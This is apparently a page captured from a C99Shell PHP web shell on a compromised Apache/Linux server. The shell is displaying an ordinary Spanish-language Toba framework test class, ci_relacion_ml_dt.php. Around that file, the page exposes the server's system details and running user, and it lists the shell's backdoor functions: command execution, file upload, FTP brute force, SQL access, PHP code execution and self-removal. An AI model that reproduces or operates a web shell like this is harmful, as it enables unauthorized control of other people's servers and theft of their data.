!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_testing/php/   drwxr-xr-x
Free 14.92 GB of 61.93 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ci_relacion_ml_dt.php (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class ci_relacion_ml_dt extends toba_testing_pers_ci
{
    protected 
$s__id_fila_uno;
    protected 
$s__id_fila_dos;
    const 
id_siguiente 2000;
    
    function 
ini__operacion()
    {
        
$this->s__id_fila_uno $this->dep('dt')->nueva_fila(array('id' => 2'descripcion' => 'Dos''orden' => 2));        
        
$this->s__id_fila_dos $this->dep('dt')->nueva_fila(array('id' => 1'descripcion' => 'Uno''orden' => 1));
    }
    
    
//------- PRIMERA PANTALLA

    
function evt__ml__modificacion($datos)
    {
        
$this->dep('dt')->procesar_filas($datos);
        
        
$datos $this->dep('dt')->get_filas();
        if (
count($datos) != 2) {
            throw new 
toba_error('Se esperaban dos registros');
        }
        
$primera current($datos);
        if (
$primera[apex_datos_clave_fila] != $this->s__id_fila_uno) {
            throw new 
toba_error('Se esperaban que la PRIMERA fila tenga la clave '.
                                        
$this->s__id_fila_uno '. Pero se encontro la clave '.
                                        
$primera[apex_datos_clave_fila]);
        }
        
$segunda next($datos);
        if (
$segunda[apex_datos_clave_fila] != $this->s__id_fila_dos) {
            throw new 
toba_error('Se esperaban que la SEGUNDA fila tenga la clave '.
                                        
$this->s__id_fila_dos '. Pero se encontro la clave '.
                                        
$segunda[apex_datos_clave_fila]);
        }        
    }
    
    function 
conf__ml($ml)
    {
        return 
$this->dep('dt')->get_filas();    
    }
    
    
//------- SEGUNDA PANTALLA

    
function evt__ml2__modificacion($datos)
    {
        
//--- En el procesamiento el DT debe respetar los IDS que vienen del ML
        
$this->dep('dt')->procesar_filas($datos);
        
        
$datos $this->dep('dt')->get_filas();
        if (
count($datos) != 4) {
            throw new 
toba_error('Se esperaban cuatro registros');
        }
        
$primera $datos[2];
        if (
$primera[apex_datos_clave_fila] != self::id_siguiente ) {
            throw new 
toba_error('Se esperaba que el id de la tercera fila fuera '.self::id_siguiente );
        }
        
$segunda $datos[3];
        if (
$segunda[apex_datos_clave_fila] != self::id_siguiente 1) {
            throw new 
toba_error('Se esperaba que el id de la cuarta fila fuera '.self::id_siguiente 1);
        }            
    }
    
    function 
conf__ml2($ml)
    {
        
$ml->set_proximo_id(self::id_siguiente);    
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5256 ]--